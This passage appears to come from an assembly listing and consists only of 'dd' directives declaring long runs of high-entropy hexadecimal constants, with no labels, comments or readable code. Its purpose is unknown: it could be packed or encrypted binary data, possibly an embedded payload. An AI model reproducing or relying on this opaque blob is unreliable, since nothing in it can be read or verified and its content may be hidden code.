0FFE7FB4Bh, 0B5E8C000h, 5312ECB4h, 0A803D7E2h, 0CABF78EBh dd 82C849CBh, 0EDAC5E0h, 0CB702B1h, 64C042D3h, 700A276Ah dd 2FBA408h, 20466CAEh, 58AF8A01h, 13F8C024h, 20BC880Fh dd 9E7CB004h, 0D98324Dh, 28E128BFh, 0C20E059h, 0EFC4058h dd 0C038194Ch, 614494F5h, 72D8005Ch, 4079FE7h, 10687F6h dd 308FBA79h, 44410079h, 984085E9h, 0D4031EB6h, 25DC4A90h dd 2A83F9C8h, 16394020h, 439278A4h, 38B28834h, 0E3D0A912h dd 69BA4C40h, 0A2D623h, 64265AFAh, 8FAB2482h, 0D4870416h dd 7CAE4C41h, 0EA0011C2h, 6809B15Bh, 232C8F36h, 0E8D0D8h dd 1F926551h, 0FA39D38Ah, 423420Bh, 0B41C0878h, 0BC3203Bh dd 2F227428h, 13752C30h, 9410BC19h, 3C2068B0h, 1F171E3Bh dd 305FA433h, 0B7BA4318h, 48FEF030h, 54622815h, 3D8DA029h dd 0ED80F81Dh, 872D6D0Bh, 113FFA22h, 9F7480B8h, 77CA9A5Fh dd 0FFD030FBh, 8FA1DDB1h, 0D40A3700h, 8A88683Eh, 0E7F51E7Bh dd 3F9980A2h, 5FA63559h, 883031D2h, 0DEEEFEh, 0F7908DB0h dd 0BCB9883Fh, 7410B0A8h, 0E02C7A31h, 20EC59h, 38628808h dd 7B71B1C7h, 0AA50C780h, 91A800F0h, 0ECD267B0h, 0B36E2F7h dd 4580294Eh, 7305F1E3h, 202C5834h, 421104A7h, 904BB035h dd 571EF06Ch, 0B9D03E50h, 7ECFE312h, 4375F848h, 0B10033D3h dd 0AB46AF40h, 0E3E5F44h, 932F0914h, 205CCC87h, 0FB6425Dh dd 689F4D26h, 0E870843h, 8D530149h, 0BA6C0580h, 0D901C31Ah dd 0ADDEA3EBh, 55C164ACh, 20879C24h, 0DA3CDF4Ch, 9CB38910h dd 6F88A0C4h, 0D483967h, 2570E29h, 54A840B8h, 7083195Ah dd 40E76014h, 344B1848h, 1F1C271Bh, 9021E5F8h, 0C0143A09h dd 6AD9BF2Ch, 87807891h dd 0EA8E47F4h, 42853A2Eh, 2CABAE8Bh, 0CF5C0801h, 1CA410E5h dd 4FF70026h, 9F731E39h, 519C61ACh, 82489B09h, 82D0AEFCh dd 0C0C7E13Ch, 2C4EAA37h, 86855B1h, 0C31319D3h, 59F2C05h dd 0C4308421h, 84E1AC02h, 71188007h, 0F7DCA4B7h, 8F273161h dd 0F81CF0h, 797041h, 0E990A3AAh, 16E6FDB2h, 60105F30h dd 0F83FDA5Bh, 989A7235h, 90F91680h, 0E2401ED7h, 3B06E80Dh dd 87FE3033h, 29C8FEACh, 0F2AA8048h, 1DD38FDEh, 54513600h dd 0B1663E35h, 0B7082894h, 203090D4h, 0ACF80963h, 0B1B8F920h dd 0E1D80B0h, 11A452A0h, 126B7225h, 8C588264h, 526600ADh dd 5A772A5Ch, 77B08CB0h, 7E9018C1h, 4C24EBD3h, 4E7C1930h dd 2082A837h, 1580FB00h, 202898C9h, 9526CE50h, 386004EDh dd 49EC53h, 97D1B3F1h, 8D084F2Fh, 0BCF5A802h, 0E181B636h dd 0CC1450F4h, 0EE7AB4ACh, 5B64E400h, 3B2572BDh, 3E57607h dd 0ACB34BDDh, 0A800A5C0h, 5427F3ECh, 0DF2A6265h, 601D4049h dd 0B5843C1h, 0E616F600h, 0AD61346Ah, 3A490069h, 5C456585h dd 0A3274B0h, 82DFD824h, 38148A4h, 0EFD0EAB7h, 0FB5406E0h dd 65020FD8h, 0D0A45AE7h, 0D8E8A0FDh, 71B1C8F4h, 9D3003Bh dd 6DECB9Ah, 0A80223D4h, 0C6551EFFh, 5F4440EDh, 0F5328003h dd 0AE0EE200h, 0D37812DAh, 29F9C12Dh, 209230D7h, 560002C1h dd 13C47A4Ah, 0CAA124B4h, 3FB8A998h, 2E06D0A0h, 1FBF8836h dd 10C50648h, 0D01AEA5Ch, 0BCB34804h, 1C0BB014h, 40E43824h dd 9C26DFB2h, 29B7628h, 4F7876F2h, 0A061A353h, 207C0821h dd 10C114C6h, 0CD38E247h, 40DEA420h, 50D3EA1Dh, 0D98D6C00h dd 0A25B255Ah, 0A866C4h, 0BAE5E4E0h, 3DD3CF5h, 0BC6ACD0Fh dd 64CF2081h, 0A01F440Eh, 0C137D38Ch, 0C6BB4079h, 0EAE1C998h dd 33858340h, 0E555B80Fh, 6CB08171h, 9C243B9Ah, 572F8831h dd 8800957Dh, 0A359C4F2h, 17062EDCh, 44D440BFh, 50946500h dd 7134349Ch, 9644CCh, 3AEE4B5Fh, 9B1B69FBh, 0DB61FE07h dd 0E3176819h, 300B0E31h, 2DD4B088h, 0E6E5F087h, 0A5B59210h dd 0FE270E4Dh, 0B1008588h, 0F3C0A704h, 29A880C1h, 905C627Dh dd 79BB07D4h, 0D00F753Dh, 93C53922h, 7BB75500h, 5E0FF57h dd 0CC0A00D3h, 8AB1DCBh, 0A22854AEh, 4008023h, 0AB6752Eh dd 29F83DFAh, 80F44877h, 1BA3EA85h, 64004F15h, 2D96FD9Dh dd 20AE529h, 8E40B1D2h, 24E0787Eh, 638009EBh, 432D03A8h dd 0ACE53ACBh, 74E280D1h, 3800F9CCh, 0A0A55176h, 78EDC9B9h dd 24414CC7h, 6C2A7405h, 127C823Dh, 0E3DC5CE0h, 70F78082h dd 0A7299586h, 85FB0804h, 0B980FD03h, 9F8094EAh, 3E2FEA3h dd 48E323DDh, 1803E9C2h, 0D1E43C95h, 0C0400096h, 3D88DB12h dd 0D903F39Fh, 0F49134D3h, 7F05997Ch, 70EAE8D7h, 1DF62450h dd 0A31A03CBh, 5818CDE9h, 9A68B56Fh, 802680C5h, 28013A30h dd 7F7C22Fh, 0E2F1958Ah, 256D30F9h, 2C1ED15Eh, 0E140DC16h dd 0D2127167h, 0F80DFA9h, 1B067431h, 0DF1E10B0h, 0A7801E65h dd 2616662Bh, 67612884h, 12720D8Ch, 0F028A1EFh, 80A0FC54h dd 9318A521h, 0DF70FAF9h, 62872861h, 0E6A20C28h, 7378D5CCh dd 0A092AD28h, 0D4849851h, 0B8C50D1Ah, 820651Ch, 0A361B4BEh dd 0D02EF9B4h, 0E80A41BCh, 9FC062A6h, 6B1C4523h, 1B844192h dd 8017127Ah, 0BACF2579h, 0C1966B14h, 12F77021h, 68E05027h dd 53E37AC1h, 0C6D2FB18h, 0AD14D8A1h, 8771956Dh, 0F94812F4h dd 2A150021h, 7F1C36D0h, 0C7D3F9E6h, 25F139F0h, 951301B8h dd 6286942Ch, 0CA618F1Fh, 41FF2C24h, 89266FBDh, 0F960F00Ch dd 2C41FC6Ah, 2D591E18h, 0C4A8A0E0h, 0D4F62A2Ch, 5C7B5284h dd 0A8665915h, 75BE3F78h, 0CB245860h, 33E87358h, 975CD803h dd 0B8AB7EFFh, 0A8514Fh, 45AD8FB3h, 7DAA7279h, 0C2002A79h dd 463D1598h, 0EECF96h, 0F13B4858h, 0A8554DCh, 261EB000h dd 901B523Dh, 0A44E00B6h, 49A78C69h, 0CE30B20Bh, 0A048407Ah dd 31EF40F6h, 0B7C7F100h, 70B0E76Fh, 55332632h, 0A1CC00A8h dd 0B4B8BD45h, 0A30B4D00h, 0E3189803h, 0EAA0005Dh, 374F58D9h dd 0B70AC64Eh, 0C0A2E791h, 7ED50448h, 3E7CF8A8h, 0ADCC4F09h dd 1BD8006Fh, 0F4D3139h, 6177B46Ah, 6365BCC0h, 0B2003D58h dd 3C0A7A10h, 0CF99F59h, 3B4486ABh, 977C5340h, 0CB076171h dd 0A36B5528h, 8E80B7B0h, 45A80064h, 0AAEFAEEAh, 55042620h dd 5897FAECh, 5ACE4D01h, 0CB670098h, 15F849h, 4CB5CC90h dd 71B489A8h, 10B7FC00h, 4932C4BEh, 3E972ECh, 39E54386h dd 3CB0AECEh, 38401D80h, 48389867h, 0E8BA9485h, 40370F72h dd 0AA360C2h, 3BD81EABh, 8D001555h, 8E58B0CCh, 4DA4B8h dd 0BCC2C93Dh, 9946361Fh, 8DC83500h, 0CF383B7Dh, 0E354005Ch dd 3126AB62h, 71006A53h, 8D7ABA79h, 7E84B073h, 0B63200C6h dd 9A5B2205h, 40C1AA31h, 5DC44E39h, 0DAB7C00h, 13553C00h dd 44AE7771h, 0BC6601AAh, 6C9398Ah, 5BC5707Ah, 0D9F6E900h dd 4E10BF84h, 54B707D8h, 80627E0Ch, 4F13473Ch, 0AA8C6159h dd 993ACCFCh, 0C2F10F7Bh, 50AC054h, 2C4B3F1Bh, 1C77A742h dd 0A4D694h, 0B80E7A8Ch, 3EE49801h, 0F6958C00h, 247158DAh dd 19CF0134h, 6462FB6Dh, 674AC43Bh, 0A48FA509h, 0A6D60797h dd 1BB62520h, 19050088h, 0AEE996A1h, 4000BF87h, 935EC74Fh dd 777510h, 0A85F4DCBh, 5092CCB4h, 0BE638B00h, 0C2A5278Ah dd 22160087h, 0EFFA944Bh, 1100BF5Ah, 54B8CC49h, 6F61FEh dd 155D0E32h, 97B4CD8Fh, 22ACB258h, 1D81024Fh, 0F9A5A3Ch dd 4378892h, 0BDF460FFh, 0DB000237h, 0D8D931A5h, 39080BB1h dd 345261D6h, 0D0039ACh, 24E5D5DFh, 7709C2D6h, 0C8810202h dd 85C406F5h, 0CCBE1814h, 2BC3189Eh, 2E491F00h, 6A1CEC13h dd 9F773080h, 0FEBEC629h, 2C5DF45Eh, 0A80AC8h, 4A7B7AD6h dd 3D609DC7h, 25EAD430h, 45FC16F5h, 0BE78D04Dh, 4770B70Eh dd 0A4876702h, 997AC9CDh, 5607EC1Ch, 7100A1FCh, 331EA96Ah dd 3342C9Fh, 37AA2D22h, 77A3E8ADh, 0EC59C918h, 3D202C31h dd 8800547Ah, 24C843C0h, 1201E137h, 9C5E2333h, 72D87915h dd 61E00655h, 0A125BD35h, 0BAC90907h, 0D9A0BF2Eh, 0CCA5AA91h dd 0EA213408h, 3BAB200h, 1C6120A3h, 0DCA2298Bh, 0F9E0888h dd 35E43C85h, 6B4E0h, 25B2CA54h, 0FD26BB1Eh, 68F930C1h dd 36001046h, 4815E4CDh, 222001B2h, 1FF728D5h, 72FF850h dd 0FEBF35ACh, 68C0DB90h, 0E4BC4312h, 0FA482605h, 76ABE8B0h dd 27171F79h, 0F684031Eh, 493B2415h, 0C78897A2h, 0BCE8C491h dd 50804201h, 4D49D9A8h, 510B7900h, 6818281Fh, 5DFF00DFh dd 0C7FA41C4h, 705E1343h, 2EA2B801h, 5080C8F0h, 74631A7Dh dd 0BE0C9F3Eh, 18DCE5E6h, 4CA41F06h, 59140B1h, 423085DAh dd 90716460h, 5C95426h, 25F101FAh, 8D44E0E1h, 0A71F5892h dd 9A03542Eh, 87AADA6Ah, 58AE7CA0h, 0E74A1874h, 0F62C707Bh dd 0C91AC20h, 661362FDh, 2502A818h, 0DEB31CF1h, 0E7C08FF7h dd 0B900F580h, 3D5815FFh, 5F987543h, 78C1917Ch, 0AB2A680Fh dd 5271A0F8h, 2CFFEB9h, 392335B1h, 3848EEF0h, 9092E39Dh dd 0FDFA7400h, 0A9713605h, 88F900DFh, 0CFC017D2h, 31018192h dd 0E8D580DEh, 69BF67BFh, 1A0E2B3Ch, 0F2A02DCAh, 0E0A14AF1h dd 95146307h, 802859FAh, 0CA652EE6h, 539D974h, 8D13364h dd 0C52100EAh, 72986526h dd 7952976Ah, 12090088h, 627361C2h, 59E5FE3h, 1342B04h dd 12BECE88h, 2A0024F5h, 14A27040h, 0A4EAA80Eh, 6F350079h dd 32318F4Ah, 0F31E47C6h, 0E8C6C296h, 3C963A4h, 0BD6FFA12h dd 9094FCF6h, 0BB264204h, 173C58C0h, 286B14ACh, 9C0E4BAh dd 0DF12F761h, 744214E0h, 18A0888h, 4F3FF79h, 0C725488Ch dd 0B15026C8h, 0BBF0AC3Ah, 69A59C85h, 0B9A6E807h, 0D0282988h dd 9868677h, 18FD99B9h, 0F27CA802h, 8CC84E04h, 0B62A0C3Bh dd 0F511949Dh, 0A824CB24h, 0F985D602h, 6090F816h, 0F3DF21E1h dd 44269724h, 5A080814h, 59386605h, 5B6A730Ah, 91138C9Ch dd 46C094D6h, 54220224h, 4721FACDh, 2AA30088h, 0E7A71954h dd 0B7EA4900h, 8FF66134h, 0D7BE4A2Bh, 6462D01Ch, 81003007h dd 5DABDB1Dh, 71CCF8h, 0B589DFB9h, 0D06A0EB0h, 2CDC1726h dd 4EE73488h, 24008049h, 8472C7C9h, 807D923Fh, 7AC13A69h dd 60592855h, 8510D9F3h, 7162AE1h, 35009AD6h, 81E6BFA4h dd 6850D4DBh, 38CE9E8h, 6CE88E8Bh, 2CE0BF37h, 93547B80h dd 4C251CB8h, 93C6427h, 0AEFCC424h, 0FBAACC82h, 7907C800h dd 2E03006Eh, 0F001C04Bh, 0E201D0D1h, 4583F1C9h, 389237F8h dd 5E8809AAh, 506F10A0h, 58C10762h, 80FE551Bh, 0C4BCBBF7h dd 0EA880C8Eh, 910C4C7h, 194D1Bh, 0FC6E3A42h, 11F6312Ch dd 0F9D82254h, 0BA689A0Ch, 0A02B783Ch, 84C51CA0h, 2D02F946h dd 0D174C965h, 0C610E331h, 5A006525h, 11786EE6h, 0DBC2AEDh dd 29CA48FAh, 12C84160h, 88320CF6h, 1C019998h, 411B6D3Fh dd 0A18035BEh, 27FFEE05h, 19004308h, 64F6AC72h, 0F092FADDh dd 846503D4h, 0DEA35F22h, 0A504588Eh, 9A9B4274h, 65417881h dd 35CD2210h, 6F18500Ah, 9C48C025h, 1D42438Fh, 26F83E7Eh dd 0C60290AFh, 0A2D0B872h, 0A0E49E78h, 8B4B02B0h, 5EA0005Ah dd 0F58A5D7Bh, 0BEFCA932h, 0B009AC98h, 5822E2CFh, 0F82B5964h dd 2CBACB80h, 448CCDBFh, 0B401E833h, 8E898FBAh, 71809C9Dh dd 512C2073h, 0A402C3D5h, 0DFC44237h, 0E230C922h, 509D2022h dd 30B1A2E5h, 1EE224F2h, 0EB22FE46h, 80FAD63Fh, 8920D2B4h dd 90DE1359h, 29AD01C8h, 0FF6AD431h, 0FDD42567h, 760024F5h dd 31939903h, 0F289C73Dh, 0CC9C807Dh, 90905A92h, 0EC377788h dd 6831CFFEh, 0A362A563h, 13C13BE8h, 9CEC04B0h, 0FE87EC40h dd 0FFFC3439h, 0EB28C131h, 2EB0647Fh, 28FBE832h, 30CC6185h dd 48C250Ch, 0FAF2542Dh, 16CCE39h, 8E5435B0h, 0A8E47214h dd 0F8570F21h, 30131715h, 5C16A248h, 9D70E162h, 635CCA0Fh dd 1C3598E4h, 84CBA71h, 0F4080EC0h, 0DFD2141Ch, 3623002Fh dd 0FA4CC200h, 0A01C9680h, 0F4B398E8h, 73F4A3D5h, 54F48CE0h dd 46FAD03Bh, 0A2008C22h, 0A8BC542Bh, 0AF3D9CEh, 0C6CC2DEEh dd 0F2A502E8h, 0B0A0FD59h, 8C7A185Fh, 5D2E4AF6h, 0EB1574DDh dd 0E1D00BF4h, 0E52C01CDh, 0FC009879h, 0C8A8D712h, 85046163h dd 90FBC78Eh, 0E5AAF481h, 11F77000h, 3DC3EA44h, 0E0BEC12Bh dd 9BF8F850h, 652C0330h, 6BA74CCh, 3B10E219h, 0B9006524h dd 831B2593h, 1FB6E12Bh, 0A161F98h, 0C0946B8Fh, 62BEA8FAh dd 0C4BC8097h, 3B821C2Bh, 0F528E661h, 894C94D0h, 38901FF7h dd 0ACA87F42h, 6D003B19h, 925BF477h, 390B1Bh, 2B488A9Eh dd 3379A31Eh, 4914649Ah, 1D41BAEh, 7531BD3Fh, 0F8D76D25h dd 7BCB22FBh, 618EFB35h, 3B7CF629h, 2B8B1000h, 9A94B8CFh dd 4100BC92h, 0E43826AFh, 0F6841B61h, 0A7C031Ch, 75CCCF92h dd 0C4506024h, 17DBCA09h, 808A9174h, 0F5C3BD4Dh, 83060581h dd 0C959233Bh, 0E8BFDCE8h, 68433007h, 0A2405ED1h, 1C937FC4h dd 547FEC0h, 5AD67Bh, 8C6CEE18h, 0C21EADEFh, 69C006ABh dd 0E3AE5B0Ch, 3F4B0411h, 0A2FE4A3Dh, 0E90427Ch, 18E23935h dd 56F4349h, 0BED6DE48h, 56944037h, 5F68B1D5h, 1F108200h dd 0D9CBB8AFh, 41D09E8h, 841439Ah, 19FB08BBh, 702F65ADh dd 7C8214E5h, 24CE30B5h, 0DE1E2811h, 0D280F088h, 0CBBE24F6h dd 7CFF0022h, 17267AACh, 0B412F9D1h, 0B41DA173h, 0EC3AF192h dd 76003123h, 47D79F9Ch, 0AC170039h, 0A2E2C435h, 920958A8h dd 613E9E48h, 8AA529D0h, 8B14B804h, 0C1E3C894h, 0E080CA87h dd 63071F42h, 0A47CC7EAh, 3F255970h, 445109A7h, 406841E1h dd 5C00317Dh, 0B485AC5h, 0FE9129Ch, 0A030C413h, 78C2CC41h dd 80DDCF1Ah, 0A82D02ACh, 0F3A09260h, 1272D655h, 800A1271h dd 0AC70F9C0h, 0AF209490h, 0F35B1532h, 6F270860h, 68FC8860h dd 482CA78h, 0CF61B2D8h, 0F61EF824h, 0F7D30187h, 0F48AB524h dd 1E0C25CDh, 60D802B3h, 1A8015F9h, 0C724A82Ah, 80261198h dd 0FACF5424h, 0C00CB131h, 32542CA1h, 2F08F02Eh, 689F801h dd 248FD20Fh, 9BEAF6BFh, 0FE043C80h, 0F9ED8EA6h, 4DAC94Ch dd 0B8603614h, 0BF212DBAh, 0B1E9C0A5h, 0DC5CE7BAh, 0BDBC0089h dd 7A741D4Fh, 501C1363h, 2670E0EDh, 0D3CB0614h, 8C0EB830h dd 280B6A00h, 4BB5AF9h, 530C3BE5h, 0BC80E458h, 0D014C3C5h dd 0D82F4000h, 0CD06445Eh, 0A6A501DBh, 0D34286A8h, 80F44482h dd 0BB62B0E8h, 14E7E609h, 0F35824FDh, 0CF653760h, 0CC017421h dd 6C3B6566h, 52AD9DE9h, 0FC2B9C87h, 0C91F2ED2h, 0A3E17A80h dd 59362820h, 0E84684CBh, 0CF142FE0h, 0D8EF700h, 0E356FBD0h dd 0CDAB2505h, 41D2EC18h, 0B1597A65h, 0A7C03DC7h, 58C954BFh dd 4502385Ch, 422C0807h, 0D9003052h, 0FBBC0314h, 0A8BD25B0h dd 9FCC3BCh, 0C02A1CA7h, 40381884h, 0BF7922C1h, 66E4BBh dd 62ED99B2h, 0A3215BF3h, 0FC2E1704h, 7490E694h, 0E84B45ADh dd 5C2000Bh, 0E576651Ah, 63017C32h, 0D00E6EF8h, 1120D580h dd 932D4FCBh, 0FBF825A4h, 1A25E889h, 6A74A048h, 26492233h dd 7BAF7E7h, 0E3D3583Ah, 6BF805B0h, 0B01BFA9h, 0F22B23E3h dd 0D83025C9h, 36AE042Fh, 0B1181527h, 0C061F210h, 0F7591174h dd 20656180h, 0B4BB82Fh, 0DCC89B00h, 833CEC1Ch, 1629136Ch dd 73D88170h, 1C26A6h, 83725305h, 5C2CF27Ah, 0F4231031h dd 0D0653801h, 24230974h, 65303F83h, 4B507EA0h, 0ED8A351Fh dd 95802B9Dh, 6A72B22Fh, 60854DDFh, 0C9F00D18h, 9BF8127Dh dd 0E8A818D4h, 0DCE18C35h, 2B094764h, 84ABFCF3h, 0CC60B764h dd 1E252624h, 0D896AEh, 324F4E0h, 0C80ABA37h, 73B86D01h dd 7B5F7199h, 0CE7EB050h, 8FA00080h, 0E0DC1E54h, 0BE0B3F6Eh dd 4413F64Ah, 9CE610B4h, 56900192h, 0D47A7F26h, 0E80C886Ch dd 485175A9h, 803AFCB9h, 777CD9A3h, 0AA9C4D7h, 0A01B6274h dd 5ACF0588h, 140CB02Eh, 0E1E4C8A5h, 0CD9EF860h, 9A92F300h dd 0C55A6E4Ah, 0EA93121Ch, 2FE417DBh, 867410D8h, 1C027ECBh dd 160636B2h, 48EC4B76h, 28C02200h, 4AFACB54h, 0A5902C11h dd 71543000h, 0D96D75B8h, 3EE07F2h, 5448E4B5h, 0E5A8F41Ch dd 2DF73344h, 90A43A15h, 9D48F4E7h, 0FCE89254h, 2857BF02h dd 591D5F59h, 802F114Ch, 0FACC5427h, 89448C09h, 542F01A6h dd 0AE70AF7Bh, 352CF407h, 9FE12E00h, 74CBC71Ah, 8CD7284Ah dd 0AFA803D4h, 0D5A5E885h, 43C64100h, 0F6D00A07h, 0DB4D1750h dd 23883AE9h, 0DF7800EBh, 2B1A63EFh, 36FA8D7Ch, 9E8C40EDh dd 0D15076A6h, 902DC1E4h, 0D9746ABEh, 18337974h, 1B97053h dd 1A972625h, 32423527h, 69D00C4h, 0C479AE9Fh, 0D6E01681h dd 28EC0327h, 0B10296FFh dd 43A05516h, 4860604Eh, 1404949Dh, 4522E092h, 22BE2C11h dd 3D395A01h, 0FCFB76CFh, 0FC0CD01Ch, 0E0203E50h, 65CF423h dd 2A6E4F22h, 70994119h, 1618EED1h, 6FC79B09h, 30EC98F9h dd 63580F59h, 7C806711h, 0F05FB49h, 8CA8C600h, 0AFA9F4F0h dd 79ECA09Dh, 0AEFB8086h, 0C13BBE30h, 607E156h, 7A806792h dd 1B0359CAh, 2A4EA752h, 0AE79E1FFh, 5F82198Eh, 941F85C9h dd 0C08E8D11h, 7EE333E0h, 1712804Ch, 44041ED3h, 0A201875Fh dd 3095D416h, 54070540h, 0A0F19629h, 0F8500EC1h, 82E1892h dd 0D0C0B344h, 461E2224h, 0E922CEh, 0BF24F8D4h, 6A2D6941h dd 0DFEB9800h, 496CE862h, 0FB4A027Ah, 299F3E7Ch, 2A487860h dd 1E4B6C88h, 0E48E9425h, 68FB8454h, 0F3EC94AAh, 42B4001Ch dd 3306EA43h, 9986003Dh, 0B895AF93h, 503C17Ch, 1F716FC0h dd 90B4C0C6h, 4484B8CEh, 802FC9B3h, 0D0CC287Fh, 0FD414961h dd 0B766C8C3h, 4D9B0676h, 8819D231h, 5920FE20h, 0F78E8436h dd 0F941214Ch, 0A37CC702h, 0E0223B94h, 92F85A84h, 0A9732Ch dd 0D48CCD60h, 0C43EBB68h, 0D9E7D314h, 144828B0h, 0C8460A14h dd 21C300B0h, 0D74F66F9h, 6BB8A01Ch, 80F2502Ah, 0A4D0D0CBh dd 0AC2EA281h, 0DC43D9Ah, 11180D15h, 56CFC30h, 8312BE31h dd 0DE4E38Ah, 79FBFF3Ch, 0FCAF030h, 39238AE1h, 0F3E4D093h dd 66403F62h, 0CD655B41h, 42B6D008h, 0E4EA3500h, 17FA2B07h dd 0B2D4B43Eh, 7460FCB8h, 39C066A3h, 0CD08962Bh, 86D4B48Eh dd 912314F7h, 0FD16EFE6h, 50F138DFh, 26DC4CFAh, 12A4652Bh dd 0F0DC6221h, 65233C20h, 8CF22EBCh, 3BAA0F80h, 2A4FC8Fh dd 44CCF50Ch, 0F0A00043h, 7E5F3D8Eh, 8CE999C0h, 0A5C9AFh dd 124E9328h, 0B44A2614h, 0BEFE1C06h, 0E038D96Ah, 1C9E499Dh dd 39F6E00h, 3A472D0Ah, 0BD8B7704h, 6181224Bh, 40DA75ADh dd 0AE5F49Eh, 9C0CE6C0h, 74CC26C8h, 8E00EF46h, 0FB9F15F9h dd 694C9C87h, 0A61C5120h, 46741488h, 7A9900EAh, 91F8487h dd 1A6605CAh, 40735FB0h, 70E19888h, 64030AC6h, 5CC7AC11h dd 3BAE80FFh, 14901431h, 0F212A854h, 81F09ED2h, 614B78C2h dd 96F2C80h, 58F6E39Ah, 80284F02h, 0C6A810C6h, 0AA230018h dd 0A52BAD57h, 0EE5E242Eh, 0BF82B897h, 0B8E50985h, 2C608BE4h dd 7E01A868h, 93E7D6FFh, 8022E13Ch, 0DF1ADD04h, 0F62C0165h dd 7896FE64h, 0E904909Eh, 270051D4h, 6932B8E7h, 0EE2F84C9h dd 0E2393062h, 14247069h, 0DEA26B16h, 0F910B488h, 41AEFC11h dd 1DF4AA8h, 2879717Fh, 1820BE25h, 0CE1FE7B1h, 0A4F6CB26h dd 98E14F1Ch, 0C43531D6h, 1C82FC0Ah, 0F826F66Bh, 808730B1h dd 0FE457908h, 0E2BCE42Ch, 0E4E0288Ch, 0E1B82088h, 50B4051Dh dd 0D03548CAh, 91ED213Ah, 67F1292h, 0A6C5A027h, 0C800D425h dd 10FEA2D4h, 1251C2F9h, 58609987h, 8540B028h, 16A70F17h dd 0D81882A3h, 0A0BAC663h, 0F41EBC90h, 3C40F63Bh, 0BB1AA42Fh dd 282260F7h, 33025099h, 271F4195h, 0A86E2Ah, 0C0761B7Ch dd 2DEFA4Ah, 0F6EA0CC1h, 40212411h, 0C189CCF5h, 0FB8053CBh dd 0FAC3739Fh, 7913C3Ah, 3989D72Bh, 0D8F21365h, 0C330E2E2h dd 4DD8008Bh, 0B3CD5EC7h, 6A587489h, 0A8C04A76h, 72C5AFEh dd 162067E2h, 0F003D658h, 0C43D131Eh, 1C93CFAh, 6A7365E7h dd 0D0797BD3h, 0D8D3783Dh, 13249E22h, 92084CF1h, 4C9325D2h dd 0ECFE5DF1h, 0E200F59Ch, 566603FFh, 12C30Ch, 6EE53281h dd 152ADCDBh, 22704901h, 1CFEBF2Bh, 257B3874h, 0F084B74Ah dd 0CF48822Ah, 0AF551620h, 0F3BE0C90h, 0DD71D25Ah, 9F1F6A18h dd 7B16C030h, 0BFE8CF64h, 88953959h, 502B5918h, 4200C77Ch dd 0A3FB3877h, 4B9E8B1Ch, 0C6CCD1DEh, 0C48A0C10h, 81A47471h dd 7CC3DC64h, 8C32885Ch, 9329F648h, 7DB31400h, 5A6F3DF9h dd 0DE220042h, 64FDD941h, 890EBAE1h, 9278FCCDh, 20807086h dd 267DF712h, 54AA9500h, 0C848BC5Ah, 20F4B025h, 81F0E28Eh dd 0A411F406h, 0D1E89Dh, 3580238h, 0A80E32ACh, 416AC0EFh dd 33BF1202h, 61FA2335h, 5EEAC611h, 0B8CE8024h, 0EF3ACFA8h dd 0C9D02B07h, 84131623h, 74612601h, 0B4E3253Eh, 1C2A70A0h dd 0F344C5Ch, 9F8E2762h, 91A4972Dh, 3FED8010h, 70BF8A76h dd 0C6D50EEBh, 41133296h, 8B62724Ch, 0DF4249Ch, 9F646C5Ch dd 1891FB0Ch, 2578E2FAh, 7C600316h, 0AC99FD39h, 2E1A7305h dd 92D64B0h, 94E8FC6Fh, 634A8D80h, 30913E7Fh, 7F1C443Ah dd 80DD63B3h, 101045FBh, 0F00AD932h, 8FC17ABh, 8604F594h dd 14813F02h, 0D5101E36h, 2409358Bh, 987221BDh, 30E6A254h dd 7138FD5Ch, 204E1E6Ah, 58884CCDh, 185F91Ch, 0B406C032h dd 0FC9102A3h, 0C0767780h, 8C8B1A68h, 6FF8DB58h, 0F22CAA12h dd 7E00E0A2h, 0ACB0CB0Ch, 6C00EE7Dh, 0A90E2B3Eh, 377779h dd 0ED5C7C86h, 0CD2FCA93h, 80CBDB4Bh, 2FC07588h, 0A8999D38h dd 3A22EC9Ch, 0D6035ABEh, 496589A9h, 0EC9633F9h, 0C0C9D756h dd 0D99CD9CBh, 591832h, 76776FACh, 4C1FB76Ch, 23278416h dd 0E2929C04h, 15131221h, 0C22C4808h, 3461BACAh, 0B00068B5h dd 4BAB3E7h, 80F6C0E9h, 744C8C7h, 0A4358B41h, 4CB61458h dd 0CCF214D2h, 0C4302620h, 14A400E2h, 1C25CBF9h, 0D4498ABBh dd 36950030h, 4648E4C7h, 0EC20A918h, 38809D12h, 0C90D4402h dd 7937831Ch, 21056A48h, 1C184B80h, 0E849F528h, 288D3138h dd 240CCB12h, 282EA288h, 4678F410h, 31F02217h, 3AA88C4Fh dd 8BFD0C1Ch, 9C82F4FAh, 2496FE90h, 401BC944h, 343BE72h dd 733AD822h, 0E8F61CA5h, 64FCE7A5h, 8D5760EFh, 611C069Dh dd 6817A649h, 0E1126AEEh, 0E06A468Eh, 3E700708h, 4295DC88h dd 881711B5h, 0F6428582h, 1C951129h, 0BB7C01C7h, 6A7219ECh dd 0C07C3403h, 0F1E80E10h, 39557302h, 14C0AB2Fh, 4091DDCAh dd 392FDE2h, 0ECB24C20h, 80977860h, 0C8472781h, 0F1358008h dd 242250FCh, 25BD3780h, 5841DCFEh, 0F21C2025h, 0F4C8D94Bh dd 804C9440h, 0BF987A2Ch, 0FD52E02Eh, 909710FCh, 0FC1610D3h dd 20A8E816h, 6268FB38h, 0BD302492h, 37E7513Eh, 0C6400053h dd 0E59C4F9Ah, 0D00B50EAh, 0C123A497h, 0A020AF5Ch, 1233406Dh dd 0D0C48C7Fh, 4B479205h, 9D919317h, 4D6385B8h, 0F0D9DD00h dd 73AA520Dh, 95A73CA6h, 69D26285h, 8EA404C4h, 86DA04F0h dd 0EDBCB0BCh, 0AABD008Ch, 3F7231B9h, 7E245BA7h, 5C08ACF7h dd 530603EAh, 9689705Fh, 0E8F88A0Bh, 0F94088A1h, 8020FA50h dd 4A04BD36h, 92B6C625h, 106614C9h, 2076B31Ch, 0C0FC6E32h dd 0C8D0A05Ah, 2895CD7h, 0E0B542B0h, 0E4C9EBBEh, 13199257h dd 0E223A82Fh, 0DB3DFD05h, 0CC0AD1Ch, 1C1F5139h, 9852F572h dd 24F130C0h, 16255CBEh, 13D57A10h, 279524h, 773B8B8Ch dd 6A1374C1h, 0C0D189FBh, 14957Eh, 2D243A8h, 38BBC2C7h dd 0AAE2C300h, 2A7F1F9Ch, 4189278h, 0C7376854h, 0E2E4A2DBh dd 52CC308Bh, 20017871h, 0BB3E3977h, 747DA02Eh, 76C76209h dd 1FC0A407h, 0E1E8B653h, 8EF8CBA1h, 0AF60128h, 3C9F35ADh dd 82B83CFAh, 7B62E0A5h, 47D57008h, 7F195A0Bh, 1E201072h dd 0C64A8Bh, 1C35F12Ch, 9797F277h, 80E491DCh, 